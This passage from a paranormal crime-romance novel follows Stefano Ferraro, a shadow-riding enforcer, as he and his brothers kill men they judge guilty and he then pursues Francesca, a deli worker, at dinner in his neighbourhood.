He stood very still just inside the tube, listening to the rhythm of the household. Every house sounded and felt different. Outside, chimes blew a soft melody into the night. A few insects made their presence known. Inside the house, it was eerily silent. The two daughters were teenagers and yet there was no television, no music. Just silence. He kept listening. Eventually, someone would make a noise. It was late, but he knew from the lights in the three rooms, that at least those rooms were occupied with someone awake.
A board creaked overhead. That would be in the smallest room upstairs. That one had a soft glowing light, as if a lamp rather than an overhead fixture illuminated the space. The footsteps were very light. The girls then. Not their bedroom, but the little room they used as a library.
He studied the shadows spreading out from the pale light source over the stove. Most were too short for what he needed, but two tubes went off in different directions. Stefano chose the one that reached toward the darkened hallway. It ended just by the stairs in the family room. Another portal took him up the stairs and beneath the door of the library, where Edgar's daughters were.
He expected them to be quietly reading. They weren't. One lay on a short couch, her face distorted with swelling. The other girl leaned over her, pushing back her hair with gentle fingers and applying ice. Neither made a sound. Silent tears tracked down both faces, but not a single sob escaped. He stood just inside the portal, waiting to get the ice back in his veins. Deliberately he flexed his fingers, keeping from rolling them into a tight fist. He'd seen countless such things, most much worse. He wouldn't be standing in the house if there weren't a good reason. He could only put down his unexpected reaction to the fact that his woman's shadow had touched his and made him more susceptible to emotion. He couldn't have that—not while he worked.
He found the place in him that was dead—a place inside that could look at two young girls and feel nothing at all. He needed that, needed balance. He didn't try to comfort them, or soothe away those hurts. He wasn't there to do that. He was there to make certain it didn't ever happen again. Warm feelings weren't wanted or needed. Only ice. Only dead space that couldn't ever be filled because that was what allowed him to retreat to the other side of the door and find the slide to the room where he was certain Edgar Sullivan sat behind his desk, feeling powerful now that he'd beat up his thirteen-year-old daughter.
The slide took him under the office door. It was a plush room. The furniture was good leather. Sullivan sat drinking whiskey out of a cut-crystal glass. It wasn't good whiskey, Stefano noted, but then Sullivan probably didn't care about the actual taste. His hand, wrapped around the glass, dripped blood from scraped knuckles. He looked over papers and muttered to himself, clearly not happy with whatever report he was reading.
The shadow tubes radiated through the room in a starburst pattern. The light overhead, as well as the lamp on the desk, threw shadows all over the floors, and more climbed up the walls. Two went directly behind Sullivan. Stefano chose the larger of the two and rode it through the room, past the desk, between the chair and the wall until he stood behind the man. He stepped out of the portal and caught Edgar's head in his hands.
"Justice is served," he whispered softly and wrenched hard. He heard the crack, but still he waited, making certain.
He dropped the body back into the chair and slid back into the portal. In a matter of minutes he was riding the shadows back outside the house. Only then did he emerge from the slide in order to make a call.
"It's done." He ended the call and was once again inside the portal, riding toward the airport.
His brothers would be apprised of the status of the job. Stefano would sleep on the plane and they would continue with their outrageous behavior, following through until they could safely get back to the plane and all three could return home.
Franco Mancini waited for him. The door to the plane was open, Franco inside, lying on one of the beds. He sat up the moment Stefano entered, his eyes moving over his cousin to ensure he was unharmed.
"Quiet tonight," he informed Stefano. "I haven't heard from your brothers."
"Don't expect to. Vittorio might show up around four or five, but Ricco is with the Lacey twins again. He'll be wallowing in his rope art and sex." Stefano didn't bother to keep the worry out of his voice. Ricco walked the edge of control lately and nothing his brother had said to him seemed to rein him in.
Franco was silent a moment as Stefano removed his shoes and sank down into a plush seat. Franco poured him a drink and handed it to him. "Ricco is careful. Always. I know he seems reckless, Stefano, but he's never failed to do his job. He's quick and clean and never has a high afterward."
Stefano sighed, pressing the glass of Scotch to his forehead. It was true. Ricco, when sent on a job, performed like the well-developed weapon he was. He didn't hesitate, and he certainly didn't fuck around. He got the job done. It wasn't about Ricco's work. It was about the way he played. _That_ bordered on out of control.
Stefano couldn't help but worry. He knew what it was like to live in a world of unrelenting violence with no way out. They'd been born shadow riders. They'd been trained for one thing from the time they were toddlers. There was nothing else for them, and there wouldn't be until they were too old to ride the shadows and perform their duties. They would be regulated to other jobs within the family. There was no way out for any of them.
"Stefano," Franco said, his tone clearly reluctant.
Stefano looked up quickly, his gaze moving over his cousin's face, recognizing that something was wrong and he wasn't going to like it. "Tell me."
"Emilio reported in." Franco deliberately poured himself a cup of coffee.
Stefano's heart nearly stopped. For a moment he could barely breathe. "You're stalling for time," Stefano accused. "Fucking just tell me." He could hear his heart pound. His mouth had gone dry. "Did something happen to Francesca?"
Franco winced. Stefano's tone cut like a whip. He nodded. "Emilio and Enzo took care of it, but she left our territory to go shopping with Joanna. They ran into a couple of punk-ass robbers and one held a knife to her throat. Emilio said he drew blood."
There was silence. The air vibrated with fury. Heated. Intense. "Are you fucking kidding me?" Stefano spat. "I had two teams on her. _Two._ Giovanni was supposed to be keeping an eye on her as well, and someone _cuts_ her with a knife? What the hell? I thought I spelled out for them just who she is. What she is. Who she belongs to."
"They know, Stefano," Franco said, his voice low. "They protected her. She isn't really hurt."
"You just told me some fucking robber held my woman up at knifepoint and drew her blood." Stefano could taste his own fury. He had never been so enraged in his life. "Emilio had better have that fucker locked up and waiting for me."
"He does," Franco assured.
"Did Emilio take Francesca to a hospital?"
"It was a shallow cut."
"He doesn't know where that knife has been or even if the blade is clean, which it probably isn't. She could get an infection. How the hell did it happen on his watch?"
"Stefano, you told Emilio to hang back, not to get caught," Franco reminded. "The moment they realized she was in trouble, they shut that shit down."
"But not before she got cut. Where? Where did he cut her?"
Franco took a sip of the hot coffee, wishing he were anywhere but inside the aircraft. Danger shimmered in the air. It was stifling hot. Stefano could explode into violence in a heartbeat and when he did, it was always deadly.
"Her throat. But it was shallow, Stefano, barely there."
Stefano erupted into cursing. Franco poured more Scotch into his cousin's glass. Every member of the Ferraro family had their job to do. Always they lived for the good of the family. The shadow riders were absolutely necessary to the family's livelihood. They were rare, and when a couple could produce them, they were encouraged to have several children. Stefano never treated any family member as less than he was, but he was always in charge. _Always._
The shadow riders kept the family's enemies from attacking them. No one outside the family knew just how Stefano and his brothers carried out their lethal work and because there were other branches of the family in other cities that also had a reputation for cleaning up messes, no one ever dared openly come after them.
In the underworld, where crime was a daily occurrence and enemies thrived on violence, no one ever dared to touch any member of the Ferraro family. Not gangs, not crime lords, not their bitterest enemy, the one they had a long-standing feud with dating back to the early 1900s in Sicily.
The Saldis had been the deadliest family in Sicily, and they soon realized that people went to the Ferraro family for aid against them. They had demanded the Ferraros join forces with them, and when their invitation was refused, they sent their soldiers to wipe out every man, woman and child in the family. Only a few escaped and went underground. Those who had managed to escape had been mainly shadow riders, and they vowed such a thing would never happen to any family member again.
Stefano was a throwback to those first men and women fighting so hard to keep their family alive. Maybe all the shadow riders were like him, with a will of iron and the guts to fight against impossible odds. That made them both dangerous and extraordinary.
"Stefano, she's all right," Franco reiterated. "We'll get you back as soon as possible and you'll be able to see for yourself."
Stefano couldn't break the rules and call Emilio directly. He was supposed to be in Chicago, not Los Angeles. Even for his own peace of mind over Francesca, he wouldn't take a chance. The rules had kept them all alive and away from law enforcement. Those guidelines were in place for a reason.
Most people believed they were mafia, members of organized crime. Many, many times, they had been investigated, but of course nothing could ever be found. No matter how many times the businesses were looked at, the Ferraro books were in order. They had never had an indictment against them.
Three times, undercover cops had managed to infiltrate deep enough to gain an audience with the greeters. All three times, the greeters had known they were being lied to and played their part beautifully, acting as if they had no idea what was being asked of them, suddenly realizing and immediately acting shocked, horrified and outraged. Each time the undercover cop had been sent on his way.
"There's no point in trying to call Ricco and Vittorio back early," Stefano said, a resigned sigh slipping out. "Francesca had better be all right, Franco, or Emilio and Enzo will be answering to me."
Franco sent him a faint grin. "Emilio and Enzo already know they're going to be answering to you. They aren't looking forward to it, but they expect it."
"I'm not that bad," Stefano lied. His eyes met his cousin's and he found himself smiling ruefully. "Okay, maybe I am."
He was silent a moment. "Did Emilio say what she was shopping for?" He was inexplicably pleased that she was using his money. He hadn't thought she would. He'd worried she would hand it all to Dina and the homeless woman would kill herself with alcohol poisoning.
"I believe it was shoes," Franco said.
Stefano nodded. Francesca needed a good pair of shoes—several of them, but he couldn't exactly buy her a new wardrobe right away. He'd had a hard enough time forcing his coat and the money on her. He had to be patient. In the same way he prepared for a job, he had to formulate a plan of attack. He was in for the greatest fight of his life, and he had to win. There was no other option.
"I'm thankful to Dina. She had a coat last week, and you know how she is, Franco: she loses one every month. _Grazie Dio._ I love that Francesca gave Dina her coat." He took another sip of Scotch. He especially loved knowing that Francesca was wrapped in his coat.
# CHAPTER FOUR
Stefano stood very still, looking into the window of Masci's. Francesca was at the counter, smiling at old man Lozzi. She looked beautiful—and alive. Real. Not the fantasy he'd feared he'd made up in his mind. The tension, coiled so tightly in his gut, eased just a little. He had needed to see for himself that she was unharmed. The glass was tinted and he couldn't see details, but she moved easily. She was friendly, but she didn't actually engage in informative chatter.
"Satisfied?" Giovanni asked.
"Not yet." Stefano turned to face his brother, his features set and hard. "Let's go home. I want to see those fuckers and find out what the hell they thought they were doing."
Giovanni slid back behind the wheel of their Aston Martin while Stefano climbed in on the passenger side. Both were used to high-performance luxury and neither noticed the smooth, purring ride as the car glided from the curb and into traffic.
"Emilio said it's the same three-man crew we've been hunting again. We only have two of them. The third is in the wind, or maybe he wasn't there that night."
Stefano didn't reply. Instead, he stared out the window, his gut churning. They could have killed her. The three muggers were notorious for their violence and it was escalating with every robbery they committed. Vittorio had "talked" with two of them once already when they'd mugged a woman in their territory. He'd gotten her money back from them and made them pay for her injuries. He'd also extracted a promise that no member of the Ferraro community would ever be targeted. That was their one chance. The only chance.
"Are we looking for the other one, Gee?" Stefano asked, still staring out the window at the passing buildings. He loved their small village within the city. He loved the people there. Some he'd known almost from the first breath he'd taken. Others had moved in later, but he considered them all his. Under his protection.
"We're looking, but so far, nothing. They've been living off the grid so there's no trail at all. The last place they stayed was an abandoned building about three miles outside of Little Italy. We think the third one drives for them and is named Scott Bowen. He wasn't in the abandoned building. He must have gotten the hell out when he realized it was our family that took his friends. He was either there the night they mugged Francesca or he heard word on the street. But whatever the reason, he's gone."
The gates opened and the car slid up the private drive to their sprawling home. The moment they exited the car, Henry, their valet, was there to take the car keys. Both men moved away from the house, selected a shadow and made the ride to the warehouse owned by their family in the very heart of the city, far from their territory. They didn't want a camera at a stoplight to accidentally catch their car moving through the city.
Stefano jerked open the door and strode through the cavernous space. The smell of blood and fear hit him first. That didn't surprise him. Emilio and Enzo weren't known for their kindness to anyone who beat up women. They hadn't wanted Vittorio to allow the two muggers to walk away when they'd first encountered them. Technically, the two men hadn't crossed into Ferraro territory, but even if they had no idea Francesca belonged to Stefano, they had to know Joanna did, or they were just plain stupid, coming that close to Ferraro territory.
Tom Billings and Fargo Johnson stared up at him through swollen bloodshot eyes. Emilio had done a number on both of them. Terror entered their eyes when they saw who had walked in. Stefano stood in front of them, but didn't say a word. He merely reached for the file Enzo handed him. Seeing the thick papers, the two men looked at each other and instantly began fighting the ropes binding them. Stefano wasn't worried they'd get free. Emilio had mad skills when it came to tying knots. He didn't match Ricco's skill, but what he tied up stayed that way.
His cousins had been busy, detailing the muggers' long history of crimes. Stefano took his time reading. He didn't skim. When he was deciding someone's fate, it was only fair to explore every detail, even when the men had put a knife to his woman's throat. He couldn't let it be personal, but he found it was. No matter how hard he tried to think clearly, he knew he couldn't make the decision on what would happen to the two muggers.
"Send for Vittorio and Ricco," he told Giovanni. "Have them drop whatever they're doing and come immediately. Ask Taviano and Emmanuelle to come as well." Giovanni nodded and took the file Stefano handed him. "All of you read that. I'll stand down from this one and you four make the decision. If there's an even split, have Eloisa cast the deciding vote."
"Stefano . . ." Giovanni protested. "You have the right. She's your woman."
"No way am I touching this one. Not when I want to rip their dicks off and shove them down their throats."
Both muggers froze. Billings swallowed hard, shaking his head. "We didn't know who she was, Mr. Ferraro."
The knots in Stefano's belly only coiled tighter. His breath hissed out of him. There was no way to suppress the rage roaring through him. "It shouldn't matter who the fuck she is, you coward. You don't put a knife to _any_ woman's throat. It was just your bad luck that you chose her, but had I heard you did this to any woman again, I would have come after you. Vittorio let you off with a warning and you should have left the city or at least gone to the other side of it and stayed as far from us as you could get."
He wanted to beat the holy hell out of both men, even though Emilio had already done it. There would have been great satisfaction in feeling his fists sinking into them, breaking bones and causing as much damage as possible, but that was against his rules. He lived in a violent world and he had to have a code. He had to live by that code, no matter how personal this was to him.
Not trusting himself, he stepped back, away from them. He would abide by the decision of his family. They had all the facts and as far as he could see, these men had spent years robbing and viciously beating others. Stefano knew that when a person was hungry or desperate, they might resort to theft, but these men had escalated what they did into savage beatings. Ninety percent of their victims had handed over wallets, money and jewelry and yet they still were beaten. Even had they not touched Francesca, Stefano would have decided to end them.
According to the files his investigators Romano and Renato Greco had compiled, the beatings had gotten steadily more vicious over the years and the last few months, the men had put several people in the hospital, two of them with severe knife wounds. Clearly, the violence was escalating and Stefano believed, sooner or later, they would kill. The thrill was getting harder to get, so they upped the ante. He was certain once they killed, they would continue to do so.
Ricco, Giovanni, Taviano and Emmanuelle walked over together and stood facing the two muggers after they'd consulted just inside the doors of the building. Vittorio came right up to stand beside Stefano. "This is my mistake, my mess. I let them off with a warning," he said softly.
Billings shook his head hard. "We'll stay away. Leave town. Whatever you want us to do."
Vittorio looked at him for a long while, the silence stretching out. "I should have ended you when I had the chance," he said, no inflection in his voice. "It's on me, the other victims. The ones you hurt. The ones in the hospital. It's on me that you put a blade to my brother's woman's throat. You cut into her skin and made her bleed. That's mine. I have to carry that burden for the rest of my life because I didn't do my job."
Tom Billings screamed, his voice high-pitched. Behind him, a shadow stretched out. Reached. Ricco, dressed as always in a dark pin-striped suit, just as they all were, emerged directly behind him, his hands on either side of his skull. Vittorio leaned forward and caught Fargo Johnson's head in an implacable grip. Both men jerked hard. They'd been instructed practically since birth in this quick, hard motion. They were experts. Few people could snap a neck easily, but they knew the exact motion, the exact amount of power needed, the perfect angle.
Both men stepped away from the two muggers. "Justice is served," Vittorio said.
Stefano took a deep breath and let it out. He had managed to maintain control even when it was the most personal job he had faced. Discipline had won out, although the anger still knotted his gut. Francesca had been cold and hungry when he'd first laid eyes on her. And terrified. Now a man had managed to slice into her throat and scare her, trying to rob her. The one person needing his protection the most and he'd let her down again.
"Hey, brother." Emmanuelle curled an arm around his waist, tucked herself in close against his side and hugged him tightly the way she had from the time she was a toddler. "I'm so excited for you. We all are." She didn't even glance at the two dead men slumped in the chairs.
Stefano didn't like her being there. He wrapped his arm around her and walked her back outside. From the beginning, when Emmanuelle had been born, he had known she would be trained. She was a shadow rider as well. The telltale feelers fed out of her shadow, seeking the shadows of others. He hadn't liked it then—and he'd been a young boy, nine years old, when she'd been born. He had tried protesting, as had his other brothers, hoping to spare her their life, but there were so few of the riders anymore that the family insisted she be trained.
Emmanuelle knew what he was doing, taking her out of that place of death, but she didn't protest. All of her brothers preferred to protect her. They had been raised to respect women. To treasure them. To protect them. They wanted her to have a life like all the other girls in the neighborhood, not one of violence and death. She had grown up with four big brothers always hovering close and she'd never protested or gotten angry with them. Instead, she'd developed a sense of humor and, much to their mortification, the ability to ignore them and do what she wanted anyway.
"I want to meet her."
"You will, _bella bambina_ , as soon as I have managed to make her mine. She has no idea. I have to go carefully."
Her dark blue eyes moved over his face, the smile fading. "I want to help. I know this is going to be difficult for both of you, Stefano, but she will be my sister. She will make my brother very happy. She gives my other brothers and me hope. Surely, if she's new to our neighborhood, she needs a friend. I can do that."
Stefano thought it over. Francesca only knew Joanna. He nodded slowly. "Her friend, Joanna Masci, asked her to come here to work for her uncle. Francesca is in some kind of trouble."
Emmanuelle nodded. "Renato and Romano are working on finding out everything they can about her. Zia Rachele and Zio Alfeo are helping. I think they even have Rosina and Rigina helping. The entire Greco family."
His aunt and uncle and their children were all investigators—and good ones. Powerful ones. Rosina worked with Renato and Romano most of the time, using the computer as a rule, and Rigina helped her parents doing the same thing. If they were looking into Francesca's past, he had no doubt they would uncover her every secret. For a moment he actually thought to stop them. It was insane, but if she had something to hide, maybe it was best for him to find out before anyone else. She wouldn't like her privacy torn apart in front of his entire family.
"Stefano," Emmanuelle said softly. "We all want to help you. She's ours as well as yours. When she comes into _la famiglia_ , she becomes our sister. A daughter to our parents. She has to fully embrace our life, be one of us. You know that. Let us all help you in whatever capacity we can. Give us that. You always take care of us. We've always counted on your strength and guidance. This time, let us be there for you."
He looked around him. His brothers faced him in a loose semicircle. Ricco, Vittorio, Giovanni and Taviano. His cousins, Emilio and Enzo, stood shoulder to shoulder with his brothers. _La sua famiglia._ His family. He put his hand over his heart, pressing his palm deep into his chest.
_"Grazie."_ He meant it. Sincerely. His heart aching and full. He tightened his arm around his sister. "Perhaps you and the cousins could befriend Francesca and Joanna and do a few things with them. Put her at ease and make her feel as if she's putting down a few roots. My schedule's fairly heavy. If a couple of you could lighten my load"—he looked at his brothers—"I would greatly appreciate the time to try to work things out with her."
"Of course," Ricco answered immediately. "We'll divide your jobs between us for the next few weeks."
"And we'll keep our eyes on her," Emilio said. "This time, much closer. She already knows you put a couple of teams on her so there's no use in hiding."
"We could coach you," Emmanuelle ventured. "In what _not_ to do."
He looked down at her upturned face. "I don't know if I want to ask you what the fuck that means."
"It means you can't act all scary, like you do. I'm used to it so you don't intimidate me . . ." She cleared her throat. " _Much._ But that's my point. You can't scare her off while we're all trying to work on her."
"You think I'm going to scare her off, then your job is to make her see me as a good guy, the white knight."
Laughter broke out, his brothers first. He was fairly certain Ricco started it. Emilio and Enzo joined in and lastly, Emmanuelle. The warm, fuzzy feeling in his heart disappeared and he glared at them. "Seriously?"
"No one is going to look at you that way," Vittorio said. "You were born with that face and you came out of the womb as mean and bossy as a snake shedding his skin."
He couldn't deny the charge because it was probably true. "Fuck off. All of you." He turned to Emilio. "Call Zio Sal and tell him we need his cleaning service immediately. Tell him to bring clothes and shoes for Enzo and you. You know the drill—everything goes. Anything that can be traced back to you. Get rid of all of it. Give it to Zio Sal and let him and his boys do their thing. I want you showered and shaved, looking good and back out on the street where you're visible."
Emilio nodded. "Will do. You all need to be away from here."
His brothers and Emmanuelle turned toward the shadows to make their way back home. Stefano was anxious to go to Francesca, but it took a while to make his report to his parents—well, to his mother—his father never actually was there to hear a report, a necessary evil. He believed it was necessary just so Eloisa could look her child over and make certain no harm had come to him.
He drove from the main home where his parents resided to the hotel where he stayed and then walked from there to the store where Francesca worked. Each of his brothers and his sister had their own wing in the main house, but they all maintained a personal space outside of the Ferraro estate. He had a penthouse at the hotel they owned. The suite was enormous, taking up the entire top floor. He had a private elevator that went straight to his floor and another private entrance very few knew of.
He paused on the sidewalk, looking into the store. Francesca had her head down, but she nodded every now and then as she listened to the man standing at the cash register. Stefano recognized Tito Petrov. His father owned the local pizza parlor and Tito managed it and also cooked there. He was as good at making the pizzas as his father. He was also a bit of a ladies' man. He dated often and women seemed to fall hard for him. Stefano didn't like Tito's body language at all.
* * *
Ignoring Tito, who continued to flirt outrageously with her, Francesca smiled at the older couple behind him as she wrapped sandwiches for them. She knew they owned the small boutique three stores down. They had come in and introduced themselves her very first morning at work. Sweet. Genuine. Very Italian. They held hands when they could and smiled at each other often. She _loved_ that. She considered Lucia and Amo Fausti the poster couple for romance, and considering she didn't believe in romance, she also thought maybe they brought a little hope with them.
She could never afford a single item they offered, all those beautiful designer dresses and silk scarves. She knew they traveled extensively to find the best designers. Joanna told her people traveled from all over the city to shop in the little boutique.
"How are you this afternoon?" Lucia asked her.
They came into Masci's every evening after work hours for their evening meal, Joanna had also informed her, but then, nearly everyone came into Masci's at one time or another. Masci's represented all twenty regions of Italy, importing cured meats, handmade cheeses, olive oil and even vinegar.
Francesca smiled at her as she took their money and put it into the cash register. "Fine, and you?"
She had walked into their boutique because the clothes in the window had really appealed to her. It was a beautiful space, open, marble, decorated mainly with huge leafy plants, lacy ferns and a few flowering plants. The clothes were from all over the world, designers from France, Italy, India and even the local area. They carried beautiful but very different items, all unique.
"It was a lovely day today," Lucia said. "Cold, but lovely."
"We're going to eat here tonight," Amo said. "It's nice to visit after working all day." He beamed at Francesca.
"I suppose it is."
"You could visit with me," Tito encouraged.
"Don't you have work to do?" Amo asked, winking at Francesca. He took his wife's hand and led her toward one of the small tables at the back of the shop.
"I'd have plenty of work to do, Amo, if you'd eat at my place instead of here," Tito called to the backs of the couple.
Amo laughed. "Prettier view in here."
"Can't argue with that," Tito said, once more leaning on the counter, smiling at Francesca, his voice low and flirty.
Stefano pushed open the door to the deli and instantly all conversation ceased. He had his gaze on Francesca, but he scanned the room as he entered. As usual, the place was packed. He recognized most of the customers and lifted a hand toward a couple of them as he made his way toward the counter. The few people waiting in line instantly shifted to make room for him.
Francesca looked up, and he saw her face go pale. She pressed her lips together, a hint of wariness creeping into her eyes. "You're back," she greeted. "Just a minute and I'll get your coat for you."
"Not looking for my coat, _dolce cuore_ ," he said, and then shifted his gaze to the man slowly straightening from where he'd been leaning against the counter. "Tito. How's your father? I haven't seen him for a while."
"He's good. Great." Tito looked from Stefano to Francesca. "She has your coat? I heard . . ."
"It's true," Stefano said, cutting him off before he could finish his sentence. The last thing he wanted was for Francesca to deny his claim on her in front of the neighborhood, especially Tito Petrov.
Pietro hurried out of his office. "Mr. Ferraro, good to see you. What can we do for you?"
"Drop the 'Mr. Ferraro,' and just call me Stefano."
"Yes. Of course. Stefano." Pietro nodded several times. He'd been invited more than once to be on a first-name basis with all of the brothers, but he never actually did it for long. "What can we do for you?" he repeated.
"Lend me Francesca. I'm starving and after seeing Tito, I'm hungry for one of his pies. I need a chance to talk to her, so I thought we could do both." He ignored Francesca's reaction. The quick, shocked deep breath. The shaking of her head. Stepping back from the counter. Away from him.
Pietro ignored it as well. "Of course. No problem. She worked extra hours yesterday."
"I'll get back to the restaurant and get busy on your pie," Tito said.
Stefano sent him a quick smile. "Thanks, Tito. I appreciate it. We'll be there in a few minutes. I have to talk to a couple of people first." He glanced at Francesca, who hadn't moved. "We won't need the coat. It's just down the block." Again, before she could protest, he walked away from the counter, to the back of the room where the Faustis were seated.
"Lucia, you're looking beautiful this evening." He leaned down and brushed a kiss at her temple. She immediately caught his head in her hands and kissed both sides of his jaw before letting him go. "Is Amo still treating you right? I'd run away with you if I thought I could get away with it."
She laughed softly. "Amo is the best, but if he ever messes up, Stefano, you are the front-runner."
His eyebrow shot up. "'The front-runner'?" he repeated. Switching his attention to Amo, he shook the man's hand. "How many men does she have waiting in line?"
"Too many to count," Amo said with a heavy sigh. "Such is the life when a man marries a beautiful woman. You would do well to remember that."
Lucia laughed again and leaned into her husband. "You two. You always make me feel so special."
"Because you are," Stefano said, meaning it.
"She's very beautiful," Amo said, indicating Francesca, keeping his voice low. "Very sweet to all the customers. Works hard, that one. She doesn't talk much and she seems sad. Is she all right?"
"She will be."
"Anything we can do, Stefano. You're a good boy. You've always been good to us," Lucia said. "Ever since . . ." She choked, her eyes filling with tears, and she pressed a hand to her mouth, forcing a smile behind her palm.
"Don't, Lucia," Stefano said, crouching down beside their table, sweeping his arm around the older woman. "You're here with the love of your life . . ." He glanced at Amo. "Oh, and Amo, too."
She laughed. It was a little forced, but still, she managed to make the sound merry. Her husband reached across the table and took her hand in his. "This man is always trying to steal you from me, _bella_." He brought her hand to his mouth and kissed her knuckles. "This happens too often, woman."
"You should be used to it by now, Amo," Stefano said, rising, brushing another kiss on top of Lucia's head. "I think my woman is ready to go."
Clearly she wasn't, but Pietro had pushed her out from behind the counter. Francesca looked nervous and as if she might be working herself up to telling him to go to hell. He grabbed her hand as he came up beside her, tugging until she was next to him and he could wrap one arm around her waist, drawing her into his side.
"Later, Pietro," he said, and walked her right out the door while she was too shocked at finding her body locked tightly against his side.
"Later, Mr. Ferraro," Pietro answered, laughter in his voice.
Francesca placed a protesting palm flat against his chest and then pulled it off of him as if his heat had burned her. "I'm not having a pizza with you."
"You don't have to eat if you're not hungry," he said, covering the pavement in long strides, his arm sweeping her along, forcing her to keep up with him.
He kept her moving, not wanting to give her the chance to protest. "Have you met Lucia and Amo Fausti? The couple sitting in the back? They own Lucia's Treasures _._ It's a little boutique a few stores down from the deli."
She snuck a little peek at him from under her ridiculously long lashes. She didn't have mascara on, and still her lashes were thick and long and curled upward on the end. He was fascinated even with that little detail. Her eyes were beautiful. The thought came to him unbidden that he wanted to be looking into her eyes when he took her, when he made her come apart in his arms. When they were locked together, and he was moving in her, bringing her what no other man would ever give her again.
"Yes, they're a lovely couple. You seem to be friends with them."
She sounded a little shocked that he could have friends. That made him want to smile, but he resisted, continuing to walk, nodding toward a couple of people who stepped out of their shops to greet him. He kept moving because he didn't want them to engage him in conversation and give her the opportunity to break away.
"They lost their only son. Cencio was murdered coming out of a theater across town with his fiancée. Lucia was so devastated she nearly died. Amo wasn't himself for a couple of years, either. I grew up with Cencio. He was a good man. Always laughing. Sweet, like his parents. We served together in Marine Recon. He was someone you could count on. We'd only been out two months before he was murdered."
Her face softened. The lashes swept down and back up, but the softness didn't leave her eyes. "I'm so sorry. That must have been terrible for all of you. He was their only child?"
Stefano shook his head. "They had a little girl. She died of cancer when she was three."
Francesca stopped right there in the middle of the sidewalk, her free hand covering her mouth. She looked as if she might cry. "Those poor people. To lose both children like that. I can't imagine anything worse."
He nodded, pulling her a little closer to him, keeping her under his shoulder. "They're both very brave. Sometimes tragedy tears people apart, but they seemed to grow stronger together." He started them moving again. The entrance to the pizza parlor was only a few feet away.
"They're actually my favorite customers," she admitted. "Not that I've met all that many people yet, although the store is very busy all the time. Was the murderer ever caught?"
He glanced at her sharply. There was something in her voice that caught at him. She was looking at the ground, not at him and not trying to see where they were going. She sounded skeptical, as if she didn't believe Cencio's killer would ever be brought to justice. She also sounded very, very sad. That tore him up inside. He didn't want her ever to be sad.
He reached around her to open the door of the pizza parlor, automatically stepping back to allow her to precede him. At the last moment, he pulled her out of harm's way, and then pushed her behind him as a little boy with dark wavy hair barreled right into him with full force. His body rocked back, but he caught the child in his arms, preventing the boy from falling. He heard Francesca's breath catch in her throat as if she feared for the child.
He set the boy back on his feet and ruffled his hair. "Tonio, are you chasing after Signora Moretti again?"
The boy nodded, holding up a pink handbag.
"Good man. Get to it then, but don't run into the street. Come by my table when you get back."
Tonio grinned at him and took off running. Stefano held the door open for Francesca and waved her inside.
"He's a good boy, that one," he observed. "Signora Moretti will eventually come into the deli. She'll give you a very hard time. She'll insist on watching you make her sandwich and everything you do will be wrong because she'll change it as she goes along." There was humor in his voice. Affection. He couldn't help it. "Agnese Moretti is a holy terror. Never call her anything but Signora Moretti or you'll get your ears boxed." He rubbed his right ear, remembering the woman clobbering him when he'd called her by her first name.
"She _hit_ you?" Francesca's blue eyes went wide with shock—and humor.
"Signore Ferraro, we have your table," the girl at the desk said, menus in her hand. She sounded breathless, gazing up at him with a dazed, flirty look.
He smiled at her. " _Grazie_ , Berta." He put his hand on Francesca's lower back to guide her. To make certain everyone in the restaurant knew just who she belonged to. "How are your parents?" He had to acknowledge Berta before she tripped over her own feet. She wasn't watching where she was going, only watching him.
"They're both good, Signore Ferraro. Tito said to put you at this table." Still staring at him, she indicated a booth at the back, in the corner where the low lights cast shadows and allowed for privacy. His family always requested that booth, and he was grateful that Tito remembered. "The antipasto and breadsticks will be right up. Wine? Beer?" she asked.
Francesca slipped into the inside of the booth because he didn't give her much choice. He kept his attention on Berta even as his body crowded Francesca's until she gave in and slid onto the cool leather bench seat. Stefano slid in right beside her. Close. His thigh pressed tight against hers. He inhaled her scent. She was beautiful, there in the shadows where he lived his life. So beautiful and innocent looking. He was going to take that innocence away and the thought made him sad. He resisted reaching for her hand, but he knew he would have to touch her soon.
"What would you like, _bella_? Wine? Beer? Something else?"
Francesca hesitated but then relaxed, some of the tension draining out of her. "Water is fine."
"You don't drink wine?" He raised an eyebrow.
She nodded. "It's been a while since I've had any alcohol. I don't know how I'd react."
He liked her honesty. "I'll make certain you get home safe. One glass can't hurt." Before she could protest he turned to Berta. "Red wine. You know my preference. Bring the bottle and two glasses." When Berta left he turned his attention to Francesca. "My family owns a few vineyards and a winery in Italy. It's beginning to make a name, and fortunately I enjoy the wine our family produces. I hope you do as well."
She nodded, a little shyly. "Thank you. I'm sure I will. Tell me about Agnese Moretti. Did she really box your ears?"
He had never been more grateful for the older woman's difficult and very feisty personality. His story had piqued Francesca's interest enough that she was much more relaxed with him. She seemed to like the stories of the people around her. Good people. He liked his neighborhood and wanted her to see it through his eyes. It was where she would spend the majority of her life. Accepting their way. Accepting their rules. Living with a yoke of violence around their necks for the good of those around them. A part of him detested himself for doing that to her, but there was no way he could give her up.
"Oh, yes. She not only boxed my ears, but twice she grabbed me by the earlobe and marched me out of a room. Of course, I was a lot younger when the earlobe thing happened." Deliberately he rubbed his earlobe as if he could still feel the pinch.
Francesca laughed. She had a beautiful laugh. Melodic. Low. Almost as if the laugh was intimate, just between the two of them. His heart beat in tune to her low laughter. He wanted to hear it for the rest of his life. The sound drowned out the voices in his head that refused to die when those who owned them did.
"How old were you when she boxed your ears?"
"That was last year when I made the big mistake of getting 'fresh' with her by calling her by her first name. Apparently I'm not old enough yet to do that. She taught school and has never let me or any other student of hers forget it."
"She sounds like a character."
"She is," Stefano said. "She's wonderful. I can't tell you how many students she tutored outside the classroom to help them when they had difficulties with a subject. She never charged their parents. There were some kids who didn't have much and she would buy them the supplies they needed. Lunches. Jackets. She never let on that she did it, or made a big deal out of it, but they'd just find the supplies in their desk, or their jacket or lunch box."
"Wow." Francesca leaned her chin onto her hand, her gaze fixed on him. That sea-blue gaze that made him want to fall right into it. "She sounds incredible."
"She's a character. She forgets her purse anyplace she eats and her glasses in most stores. Tonio always rushes after her if she's anywhere around. If not Tonio, then one of the other children. He's the youngest and the most enthusiastic, which means he's a little tornado and you have to get out of his way when he's making his run."
Berta was back with the antipasto, small plates, warm, fresh breadsticks and the wine. She expertly juggled each dish and poured a small amount of wine in a glass for Stefano to taste.
He liked that Francesca watched him so closely, that she seemed fascinated by the conversation and by him. He nodded his approval of the wine, waited until Berta poured both glasses and left before he picked up Francesca's glass and handed it to her. Her fingers brushed his. Instantly a spark of electricity leapt from her to him. He felt their shadows connect. Merge. The pull was strong, just like the narrow slider tubes that nearly pulled apart his body when he stood in front of them—a powerful magnet drawing him close.
